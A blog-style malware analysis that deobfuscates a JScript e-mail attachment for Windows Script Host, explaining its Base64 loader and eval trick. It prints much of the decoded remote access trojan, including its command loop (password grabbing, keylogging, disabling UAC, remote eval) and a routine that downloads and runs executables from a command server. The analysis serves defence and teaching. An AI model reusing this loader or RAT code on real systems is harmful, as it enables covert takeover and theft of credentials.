Dissecting Javascript malware
Please note that some of the code belonging to the malware has intentionally been left out in this write-up.
Initial look
A while ago someone asked me if I could investigate whether an e-mail attachment they received is malicious or not. The file came with a .js
extension, which is suspicious. The first thing I did was change the file to a regular .txt
file so I could safely inspect the content.
var __cooler = "";
__cooler.constructor.constructor.prototype.constructor.callJS = function () {
var microVaraibles = {
enginr :"!<>" ,
enginr_0 : "A" ,
enginr_0_r : "
...
...
dHJ5ew0KdmFyIGxvbmdUZXh0MS!<>9ICJablZ1WTNScGIyNGdTV2R1YVhSbFUyOW1kSGRoY21Vb0tTQjdEUW9nSUNBZ2NtVjBkWEp1SUdaMWJtTjBhVzl1SUNncElIc05DaUFnSUNBZ0lDQWdjbVYwZFhKdUlHWjFibU4wYVc5dUlDZ3BJSHNOQ2lBZ0lDQ
WdJQ0FnSUNBZ0lISmxkSFZ5YmlCbWRXNWpkR2x2YmlBb0tTQjdEUW9nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdjbVYwZFhKdUlHWjFibU4wYVc5dUlDZ3BJSHNOQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ2NtVjBkWEp1SUdaMWJtTjBhVzl1SUNncElIc05DaUFnSUNBZ0lDQWd
JQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lISmxkSFZ5YmlCbWRXNWpkR2x2YmlBb0tTQjdEUW9nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnY21WMGRYSnVJR1oxYm1OMGFXOXVJQ2dwSUhzTkNpQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ
0FnY21WMGRYSnVJR1oxYm1OMGFXOXVJQ2dwSUhzTkNpQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnZlEwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lIME5DaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lIME5DaUF
nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnZlEwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUgwTkNpQWdJQ0FnSUNBZ0lDQWdJSDBOQ2lBZ0lDQWdJQ0FnZlEwS0lDQWdJSDBOQ24wTkNtWjFibU4wYVc5dUlFMTFiSFJwYkdWdWRHVmtRbWx2YzBaMWJtTjBhVzl1S0Y5T1JWaFVKQ1FnT
ENCT1JWaFVKQ2tnZXcwS0lDQWdJRTVGV0ZRa0xsUjVjR1VnUFNBeE95Qk9SVmhVSkM1UGNHVnVLQ2s3RFFvZ0lDQWdUa1ZZVkNRdVYzSnBkR1VvWD!<>1Rl!<>1c1MwWmFUMWQ2UW1STVJrSmlUVll3Y0U5M2NESlpXRWxuWkRKcloxQlRRbTFqZVRWUVkwZFdkVlpIVmpSa1JWcHd
Za2RWYjFwdVZYTk5hWGh0V1ZkNGVscFRhemREYm1Sd1RHeGtlV0ZZVW14TFIxcDVTMVJ6UzJReWEzVlJNbmgyWXpKVmIwdFVjMHRqTW1kMVkyNVdkVXREU2pOak1rNTVZVmhDTUV4dFZqUmFVeUU4UG5aTU1FbG5XRU5KYVVsRGMyZGFibFZuUzNraFBENXBXRU5KYVV0VWMwdFdNV
TVxWTIxc2QyUkROVkprVjJ3d1MwUkZjRTkzY0RsRGJXeHRTVU5vVVZkNlFtUkpSREE1VUZNaFBENXBWbGdoUEQ1cFMxTkNOME51V21oamFVSjZUV2toUEQ0NVNVVldORXREU2pCYVZ6RjNTV2xyWjB0NUlUdythVmhHZDJsSlEzTm5WVVp6ZVZoVWMwdGtiVVo1U1VkT01GcHBJVHc
rT1VsSFducE1hMDU1V2xkR01GcFdVbXhsU0ZKSFlWZDRiRXRJVFhsTVNGSjVaRmRWY0U5M2NESlpXRWxuV2pOVloxQlRRbEZYZWtaa1QzZHdibVJUSVR3K09VbEhaREZNYmtwc1kwZDRhRmt5Vlc5SmJuaFdaa05KYzBsdWVGZG1RMGx3VDNkd2FtUkhXWFZXTTBwd1pFZFZiMW96V
lhCUGQzQnFaRWRaZFZFeWVIWmpNbFZ2UzFSelMyTXlaM1ZqYmxaMVMwTktNMk15VG5saFdFSXdURzFXTkZwVElUdytka3d3U1dkWVEwbHBTVU56WjJONlNXZExlU0U4UG1sWVEwbHBURVJaY0U5M2NGaFZNazU1WVZoQ01FeHNSakZoV0ZGdlRWTnJOME51TUV0aFYxbG5TMFpDWWs
xR01HZFFWREE1U1VOS1ZtSnBTWEJKU0hOTFpHMUdlVWxJVFhsSlJEQm5WVVp6ZUZoVWMwdGtiVVo1U1VoYWEyTnBJVHcrT1VsRlZqUkxRMHBWV2xjeGQwbHBhMmRMZVVKRVlVTWhQRDV5U1Voa2RVOTNjREpaV0VsblkyMVdibUZUSVR3K09VbERTWGRUVlZKVFRWUkpNRlpyV1RKS
mFuTkxZM3BKWjFCVFFucE5hVFY1V2xoQ2MxbFhUbXhMUTBsc1dtbEpjMXB1VlhCTWJrcHNZMGQ0YUZreVZXOUphVloxU1dsNE0ySnBhM1ZqYlZaM1lrZEdhbHBUWjJsS1dFNXRXa2hKYVV4SVdtdGphV3QxWTIxV2QySkhSbXBhVTJkcFNsWktibFJ0Vld4SmFYaDVXbGRrY0V0VWM
wdGFXRnBvWWtOb2VrMXBhemREYkdSVVdUTktjR05JVVhWVldGWndaRU5uZUV0VWMwdG1VWEJ3V21raFBENXZWVVp6ZDFoVElUdytPVkJVTUdkSmJFcEhTV2xyWjJWM2NESlpXRWxuWTNwSloxQlRRa1psUTJkcFpFZFdkR05EU1hCSlEzTm5TV3g0WTBscElUdytja2xHUW1KTmJEQ
TNRMjVhYUdOcFFtMWhVeUU4UGpsSlIxcDZUR3RPZVZwWFJqQmFWbEpzWlVoU1IyRlhlR3hMU0UxNVRFaFNlV1JYVlhCUGQzQnRZVk0xV0dOdGJEQmFVMmhSVjNwR1pFdFVjMHRhYld0MVVUSjRkbU15Vlc5TFZITkxZekpuZFdOdVZuVkxTRTE1UzFSelMyWlJjRGxKUj!<>wMC!<>
wMC!<>wMC!<>wMC!<>wMC!<>wMC!<>wMC!<>wMC!<>4MC!<>wMi!<>wMC!<>wMCBFMC!<>wMS!<>wMC!<>wMFxuQ29sdW1ucz1GQS!<>wMC!<>hZmkuYXRFbmQoKTsgZmkubW92ZU5leHQoKSl7DQp2YXIgZmlsZS!<>9IGZpLml0ZW0oKTsNCnJlID0gcmUgKyBmaWxlLm5hbWUg
Ky!<>iXiIgKyBmaWxlLnNpemUgKy!<>iXiIgKyBmaWxlLmF0dHJpYnV0ZXMgKyBzcGxpdGVyOw0KfQ0KfWNhdGNoKGVycil7fQ0KcmV0dXJuIHJlOw0KfQ0K
...
..." ,
microVariableFour : WScript.StdErr,
enginr_0_0000 : ""
};
return microVaraibles ;
}
function processOne( _crra , snapperJS) {
var engineOne = _crra.createElement({temporary : "tmp" , dataType : "bin.base64"}.temporary);
engineOne.dataType ={temporary : "tmp" , dataType : "bin.base64"}.dataType;
engineOne.text = snapperJS;
return engineOne.nodeTypedValue;
}
function okkk (_crra, snapperJS){
if (_crra != null && typeof [] != 'string' && typeof Object != 'string') {
return processOne(_crra, snapperJS)
}
}
function uuiii() {
var compat, electric, duvet, codeEngine$$, glorious;
if (typeof {} != "function") {
compat = __cooler.constructor.constructor.prototype.constructor.callJS().enginr;
electric =__cooler.constructor.constructor.prototype.constructor.callJS().enginr_0 ,
duvet =__cooler.constructor.constructor.prototype.constructor.callJS().enginr_0_r ,
codeEngine$$ = __cooler.constructor.constructor.prototype.constructor.callJS().enginr_0_0000;
try{
var regx = new RegExp(compat, "g");
codeEngine$$ = duvet.replace(regx, electric);
var objectBucket = "devet.endsWith('.server.{columnJS}')".charCodeAt(0);
glorious.calmdown = "ginamore";
return "";
}catch(err){
return okkk(WScript.CreateObject("Microsoft.XMLDOM"), codeEngine$$);
}
}
}
var coreEngineer = uuiii();
try{
if(coreEngineer.compat == "!<>"){
coreEngineer = null;
}
}
catch(err){
eval(coreEngineer);
}
At this point I was curious how this code would execute in a desktop environment instead of in a web environment. I then discovered that there is something called “WScript” or “Windows Script Host” (WSH), which was new to me. Windows Script Host is an environment that allows for execution of scripts written in a variety of languages. In this case I was interested in the WSH executing Javascript. According to Wikipedia the WSH does not execute Javascript but it executes JScript. JScript, however, simply turns out to be Javascript.
“[Microsoft] did not want to deal with Sun Microsystems about the trademark issue, and so they called their implementation JScript. A lot of people think that JScript and JavaScript are different but similar languages. That’s not the case. They are just different names for the same language, and the reason the names are different was to get around trademark issues.” - [https://en.wikipedia.org/wiki/JScript#Comparison_to_JavaScript]
To make a long story short: WSH allows users to execute scripts in a desktop environment. In this case it was JScript/Javascript being executed.
Deobfuscation
The code above has obviously been obfuscated as it contains obscure variable names like duvet
and electric
, among others. In this chapter I will take a step-by-step approach to deobfuscate the malware.
The entry point for this script is the uuiii()
function.
var __cooler = "";
__cooler.constructor.constructor.prototype.constructor.callJS = function () {
var microVaraibles = {
enginr :"!<>" ,
enginr_0 : "A" ,
enginr_0_r : "
...
...
dHJ5ew0KdmFyIGxvbmdUZXh0MS!<>9ICJablZ1WTNScGIyNGdTV2R1YVhSbFUyOW1kSGRoY21Vb0tTQjdEUW9nSUNBZ2NtVjBkWEp1SUdaMWJtTjBhVzl1SUNncElIc05DaUFnSUNBZ0lDQWdjbVYwZFhKdUlHWjFibU4wYVc5dUlDZ3BJSHNOQ2lBZ0lDQ
WdJQ0FnSUNBZ0lISmxkSFZ5YmlCbWRXNWpkR2x2YmlBb0tTQjdEUW9nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdjbVYwZFhKdUlHWjFibU4wYVc5dUlDZ3BJSHNOQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ2NtVjBkWEp1SUdaMWJtTjBhVzl1SUNncElIc05DaUFnSUNBZ0lDQWd
JQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lISmxkSFZ5YmlCbWRXNWpkR2x2YmlBb0tTQjdEUW9nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnY21WMGRYSnVJR1oxYm1OMGFXOXVJQ2dwSUhzTkNpQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ
0FnY21WMGRYSnVJR1oxYm1OMGFXOXVJQ2dwSUhzTkNpQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnZlEwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lIME5DaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lIME5DaUF
nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnZlEwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUgwTkNpQWdJQ0FnSUNBZ0lDQWdJSDBOQ2lBZ0lDQWdJQ0FnZlEwS0lDQWdJSDBOQ24wTkNtWjFibU4wYVc5dUlFMTFiSFJwYkdWdWRHVmtRbWx2YzBaMWJtTjBhVzl1S0Y5T1JWaFVKQ1FnT
ENCT1JWaFVKQ2tnZXcwS0lDQWdJRTVGV0ZRa0xsUjVjR1VnUFNBeE95Qk9SVmhVSkM1UGNHVnVLQ2s3RFFvZ0lDQWdUa1ZZVkNRdVYzSnBkR1VvWD!<>1Rl!<>1c1MwWmFUMWQ2UW1STVJrSmlUVll3Y0U5M2NESlpXRWxuWkRKcloxQlRRbTFqZVRWUVkwZFdkVlpIVmpSa1JWcHd
Za2RWYjFwdVZYTk5hWGh0V1ZkNGVscFRhemREYm1Sd1RHeGtlV0ZZVW14TFIxcDVTMVJ6UzJReWEzVlJNbmgyWXpKVmIwdFVjMHRqTW1kMVkyNVdkVXREU2pOak1rNTVZVmhDTUV4dFZqUmFVeUU4UG5aTU1FbG5XRU5KYVVsRGMyZGFibFZuUzNraFBENXBXRU5KYVV0VWMwdFdNV
TVxWTIxc2QyUkROVkprVjJ3d1MwUkZjRTkzY0RsRGJXeHRTVU5vVVZkNlFtUkpSREE1VUZNaFBENXBWbGdoUEQ1cFMxTkNOME51V21oamFVSjZUV2toUEQ0NVNVVldORXREU2pCYVZ6RjNTV2xyWjB0NUlUdythVmhHZDJsSlEzTm5WVVp6ZVZoVWMwdGtiVVo1U1VkT01GcHBJVHc
rT1VsSFducE1hMDU1V2xkR01GcFdVbXhsU0ZKSFlWZDRiRXRJVFhsTVNGSjVaRmRWY0U5M2NESlpXRWxuV2pOVloxQlRRbEZYZWtaa1QzZHdibVJUSVR3K09VbEhaREZNYmtwc1kwZDRhRmt5Vlc5SmJuaFdaa05KYzBsdWVGZG1RMGx3VDNkd2FtUkhXWFZXTTBwd1pFZFZiMW96V
lhCUGQzQnFaRWRaZFZFeWVIWmpNbFZ2UzFSelMyTXlaM1ZqYmxaMVMwTktNMk15VG5saFdFSXdURzFXTkZwVElUdytka3d3U1dkWVEwbHBTVU56WjJONlNXZExlU0U4UG1sWVEwbHBURVJaY0U5M2NGaFZNazU1WVZoQ01FeHNSakZoV0ZGdlRWTnJOME51TUV0aFYxbG5TMFpDWWs
xR01HZFFWREE1U1VOS1ZtSnBTWEJKU0hOTFpHMUdlVWxJVFhsSlJEQm5WVVp6ZUZoVWMwdGtiVVo1U1VoYWEyTnBJVHcrT1VsRlZqUkxRMHBWV2xjeGQwbHBhMmRMZVVKRVlVTWhQRDV5U1Voa2RVOTNjREpaV0VsblkyMVdibUZUSVR3K09VbERTWGRUVlZKVFRWUkpNRlpyV1RKS
mFuTkxZM3BKWjFCVFFucE5hVFY1V2xoQ2MxbFhUbXhMUTBsc1dtbEpjMXB1VlhCTWJrcHNZMGQ0YUZreVZXOUphVloxU1dsNE0ySnBhM1ZqYlZaM1lrZEdhbHBUWjJsS1dFNXRXa2hKYVV4SVdtdGphV3QxWTIxV2QySkhSbXBhVTJkcFNsWktibFJ0Vld4SmFYaDVXbGRrY0V0VWM
wdGFXRnBvWWtOb2VrMXBhemREYkdSVVdUTktjR05JVVhWVldGWndaRU5uZUV0VWMwdG1VWEJ3V21raFBENXZWVVp6ZDFoVElUdytPVkJVTUdkSmJFcEhTV2xyWjJWM2NESlpXRWxuWTNwSloxQlRRa1psUTJkcFpFZFdkR05EU1hCSlEzTm5TV3g0WTBscElUdytja2xHUW1KTmJEQ
TNRMjVhYUdOcFFtMWhVeUU4UGpsSlIxcDZUR3RPZVZwWFJqQmFWbEpzWlVoU1IyRlhlR3hMU0UxNVRFaFNlV1JYVlhCUGQzQnRZVk0xV0dOdGJEQmFVMmhSVjNwR1pFdFVjMHRhYld0MVVUSjRkbU15Vlc5TFZITkxZekpuZFdOdVZuVkxTRTE1UzFSelMyWlJjRGxKUj!<>wMC!<>
wMC!<>wMC!<>wMC!<>wMC!<>wMC!<>wMC!<>wMC!<>4MC!<>wMi!<>wMC!<>wMCBFMC!<>wMS!<>wMC!<>wMFxuQ29sdW1ucz1GQS!<>wMC!<>hZmkuYXRFbmQoKTsgZmkubW92ZU5leHQoKSl7DQp2YXIgZmlsZS!<>9IGZpLml0ZW0oKTsNCnJlID0gcmUgKyBmaWxlLm5hbWUg
Ky!<>iXiIgKyBmaWxlLnNpemUgKy!<>iXiIgKyBmaWxlLmF0dHJpYnV0ZXMgKyBzcGxpdGVyOw0KfQ0KfWNhdGNoKGVycil7fQ0KcmV0dXJuIHJlOw0KfQ0K
...
..." ,
microVariableFour : WScript.StdErr,
enginr_0_0000 : ""
};
return microVaraibles ;
}
The __cooler
object is a function that returns a JSON object called microVaraibles
. The variables available in that JSON object are:
- enginr
- enginr_0
- enginr_0_r
- microVariableFour
- enginr_0_0000
What jumps out immediately is that the enginr_0_r
variable contains what seems to be a huge Base64 string. The “!<>"’s do not belong there though. There is a big chance that this variable depends on enginr
and enginr_0
.
Back to the uuiii()
function.
function uuiii() {
var compat, electric, duvet, codeEngine$$, glorious;
if (typeof {} != "function") {
compat = __cooler.constructor.constructor.prototype.constructor.callJS().enginr;
electric =__cooler.constructor.constructor.prototype.constructor.callJS().enginr_0 ,
duvet =__cooler.constructor.constructor.prototype.constructor.callJS().enginr_0_r ,
codeEngine$$ = __cooler.constructor.constructor.prototype.constructor.callJS().enginr_0_0000;
try{
var regx = new RegExp(compat, "g");
codeEngine$$ = duvet.replace(regx, electric);
var objectBucket = "devet.endsWith('.server.{columnJS}')".charCodeAt(0);
glorious.calmdown = "ginamore";
return "";
}catch(err){
return okkk(WScript.CreateObject("Microsoft.XMLDOM"), codeEngine$$);
}
}
}
The function starts off by creating a few variables. The if-statement that follows will always evaluate to true, as seen below.
Next, the variables are assigned values from the __cooler
object. These assignments will result in the following values for the variables:
- compat = “!<>”
- electric = “A”
- duvet = The big Base64 string
- codeEngine$$ = "”
What happens inside the try-catch block is interesting. First a regular expression is constructed using the compat
("!<>") variable. Because the regular expression uses the “g” (global) modifier, this regular expression will match all occurrences of “!<>”. Next, this regular expression is used to replace characters in duvet
(the Base64 string). It takes that Base64 string, finds all occurrences of compat
("!<>") and replaces those with electric
(“A”). The result is then stored in codeEngine$$
.
It looks like the code continues and that this function will return an empty string. However, the following line will always throw an exception.
var objectBucket = "devet.endsWith('.server.{columnJS}')".charCodeAt(0);
This can be confirmed by replication the code, as seen below.
In the catch block the okkk()
function is called with the Base64 string and WScript.CreateObject("Microsoft.XMLDOM")
as parameters. The latter is a programmatic representation of XML documents.
Let’s take a look at the okkk()
function. This function contains an if-statement that always evaluates to true and simply passes the XMLDOM and the Base64 string to the processOne()
function.
function okkk (_crra, snapperJS){
if (_crra != null && typeof [] != 'string' && typeof Object != 'string') {
return processOne(_crra, snapperJS)
}
}
In the processOne
function the variable _crra
is the XMLDOM and snapperJS
is the Base64 string. They were passed in that order from the uuiii()
function and the okkk()
function. This function first creates an XML element called “tmp” and then sets the dataType of that element equal to “bin.base64” (Base64 string as binary data). Finally it sets the value of that XML element equal to the Base64 string and returns the nodeTypedValue of this XML element. This is the data expressed in its defined data type, Base64 as binary in this case. The actual decoding of this Base64 string requires some more code but I intentionally left that out. To make a long story short; this is an obfuscated way to decode a Base64 string.
function processOne( _crra , snapperJS) {
var engineOne = _crra.createElement({temporary : "tmp" , dataType : "bin.base64"}.temporary);
engineOne.dataType ={temporary : "tmp" , dataType : "bin.base64"}.dataType;
engineOne.text = snapperJS;
return engineOne.nodeTypedValue;
}
After all this passing around, the Base64 string returns to the entry point of this script. Which is the line where uuiii()
is called.
var coreEngineer = uuiii();
try{
if(coreEngineer.compat == "!<>"){
coreEngineer = null;
}
}
catch(err){
eval(coreEngineer);
}
This is the actual part of the code that is responsible for executing the malware. After all the functions have executed, the coreEngineer
variable contains the decoded Base64 string. The execution of this if-statement will always trigger an exception, meaning that the catch block is always executed. The eval function in the catch-block executes Javascript code.
Decoded Base64
The eval
function from the previous chapter executes Javascript code. The question is which Javascript code that is in this case. I know that the code being executed is the decoded Base64 string. Let’s decode that string and see what this malware is about. Remember from earlier: All “!<>"’s in the Base64 string must be replaced by “A” before decoding. Afer doing so, I get the following Javascript code.
wshShell1 = null;
var host = "[redacted]";
var port = 3018;
var installdir = "%temp%";
var lnkfile = true;
var lnkfolder = true;
var shellobj = WScript.createObject("wscript.shell");
var filesystemobj = WScript.createObject("scripting.filesystemobject");
var httpobj = WScript.createObject("msxml2.xmlhttp");
var installname = WScript.scriptName;
var startup = shellobj.specialFolders("startup") + "\\";
installdir = shellobj.ExpandEnvironmentStrings(installdir) + "\\";
if (!filesystemobj.folderExists(installdir)) { installdir = shellobj.ExpandEnvironmentStrings("%temp%") + "\\"; }
var spliter = "|";
var sleep = 5000;
var response, cmd, param, oneonce;
var inf = "";
var usbspreading = "";
var startdate = "";
instance();
while (true) {
try {
install();
response = "";
response = post("is-ready", "");
cmd = response.split(spliter);
switch (cmd[0]) {
case "disconnect":
WScript.quit();
break;
case "reboot":
shellobj.run("%comspec% /c shutdown /r /t 0 /f", 0, true);
break;
case "shutdown":
shellobj.run("%comspec% /c shutdown /s /t 0 /f", 0, true);
break;
case "excecute":
param = cmd[1];
eval(param);
break;
case "get-pass":
passgrabber(cmd[1], "cmdc.exe", cmd[2]);
break;
case "uninstall":
uninstall();
break;
case "up-n-exec":
download(cmd[1], cmd[2]);
break;
case "bring-log":
upload(installdir + "wshlogs\\" + cmd[1], "take-log");
break;
case "down-n-exec":
sitedownloader(cmd[1], cmd[2]);
break;
case "filemanager":
servicestarter(cmd[1], "fm-plugin.exe", information());
break;
case "rdp":
servicestarter(cmd[1], "rd-plugin.exe", information());
break;
case "keylogger":
keyloggerstarter(cmd[1], "kl-plugin.exe", information(), 0);
break;
case "offline-keylogger":
keyloggerstarter(cmd[1], "kl-plugin.exe", information(), 1);
break;
case "browse-logs":
post("is-logs", enumfaf(installdir + "wshlogs"));
break;
case "cmd-shell":
param = cmd[1];
post("is-cmd-shell", cmdshell(param));
break;
case "get-processes":
post("is-processes", enumprocess());
break;
case "disable-uac":
if (WScript.Arguments.Named.Exists("elevated") == true) {
var oReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\default:StdRegProv");
oReg.SetDwordValue(0x80000002, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "EnableLUA", 0);
oReg.SetDwordValue(0x80000002, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "ConsentPromptBehaviorAdmin", 0);
oReg = null;
updatestatus("UAC+Disabled+(Reboot+Required)");
}
break;
case "elevate":
if (WScript.Arguments.Named.Exists("elevated") == false) {
try {
oneonce.close();
oneonce = null;
WScript.CreateObject("Shell.Application").ShellExecute("wscript.exe", " //B \"" + WScript.ScriptFullName + "\" /elevated", "", "runas", 1);
updatestatus("Client+Elevated");
} catch (nn) {
}
WScript.quit();
}
else {
updatestatus("Client+Elevated");
}
break;
case "if-elevate":
if (WScript.Arguments.Named.Exists("elevated") == false) {
updatestatus("Client+Not+Elevated");
}
else {
updatestatus("Client+Elevated");
}
break;
case "kill-process":
exitprocess(cmd[1]);
break;
case "sleep":
param = cmd[1];
sleep = eval(param);
break;
}
} catch (er) { }
WScript.sleep(sleep);
}
This very clearly shows that this is a RAT (Remote Administration Tool) with some serious capabilities. The code above shows the loop that the malware uses to listen for commands from the C&C (Command and Control) server. Among other things this malware can enable RDP, download files, grab passwords, log keystrokes, uninstall itself, execute commands and more. It is even capable of rebooting the computer. All in all this malware accounts for around 600 lines of code (which I will not show everything of).
One interesting command I will highlight is the RDP command:
case "rdp":
servicestarter(cmd[1], "rd-plugin.exe", information());
break;
When this RAT receives this command from the server, it executes the servicestarter()
function. This function downloads and executes a file, an executable in this case, from the URL it receives from the server. If the file has been downloaded successfully, it will immediately execute by calling shellobj.run()
.
function servicestarter(fileurl, filename, filearg) {
shellobj.run("%comspec% /c taskkill /F /IM " + filename, 0, true);
var strlink = fileurl;
var strsaveto = installdir + filename;
var objhttpdownload = WScript.CreateObject("msxml2.xmlhttp");
objhttpdownload.open("get", strlink, false);
objhttpdownload.setRequestHeader("cache-control:", "max-age=0");
objhttpdownload.send();
var objfsodownload = WScript.CreateObject("scripting.filesystemobject");
if (objfsodownload.fileExists(strsaveto)) {
objfsodownload.deleteFile(strsaveto);
}
if (objhttpdownload.status == 200) {
var objstreamdownload = WScript.CreateObject("adodb.stream");
objstreamdownload.Type = 1;
objstreamdownload.Open();
objstreamdownload.Write(objhttpdownload.responseBody);
objstreamdownload.SaveToFile(strsaveto);
objstreamdownload.close();
objstreamdownload = null;
}
if (objfsodownload.fileExists(strsaveto)) {
shellobj.run("\"" + strsaveto + "\" " + host + " " + port + " \"" + filearg + "\"");
}
}
Demo
The code below is written by me. This program writes something to a text file and in addition also downloads a web page (my contact page). This web page could also have been a malicious executable.
var fileSystemObject = WScript.CreateObject("Scripting.FileSystemObject");
var file = fileSystemObject.CreateTextFile("demo.txt", true); //Create file called "demo.txt"
file.WriteLine("Demonstration of Javascript executing on the desktop. Also downloaded my contact page!");
file.Close();
var url = "https://mickdepeinder.nl/Contact";
var downloader = WScript.CreateObject("msxml2.serverxmlhttp");
downloader.open("get", url, false);
downloader.setRequestHeader("cache-control", "max-age=0");
downloader.send();
var objstreamdownload = WScript.CreateObject("adodb.stream");
objstreamdownload.Type = 1;
objstreamdownload.Open();
objstreamdownload.Write(downloader.responseBody);
objstreamdownload.SaveToFile("my_contact_page.html"); //Save downloaded file
objstreamdownload.close();
Below is a short demonstration to show how Javascript executes outside a browser environment. It executes without any warning.
Conclusion
Javascript files can certainly form a threat outside the browser. If the Javascript file itself does not contain any malicious code, it could still act as a downloader for malicious executables. Even though blindly clicking any e-mail attachment is never a good idea, users might not know that Javascript files even have the capability to perform actions on their computer. Using another e-mail client that blocks .js
attachments, like Gmail or Outlook, partly solves the problem. The attacker could still embed the .js
file inside a .zip
file and send it. To completely prevent Javascript from executing on the desktop, one should disable WSH.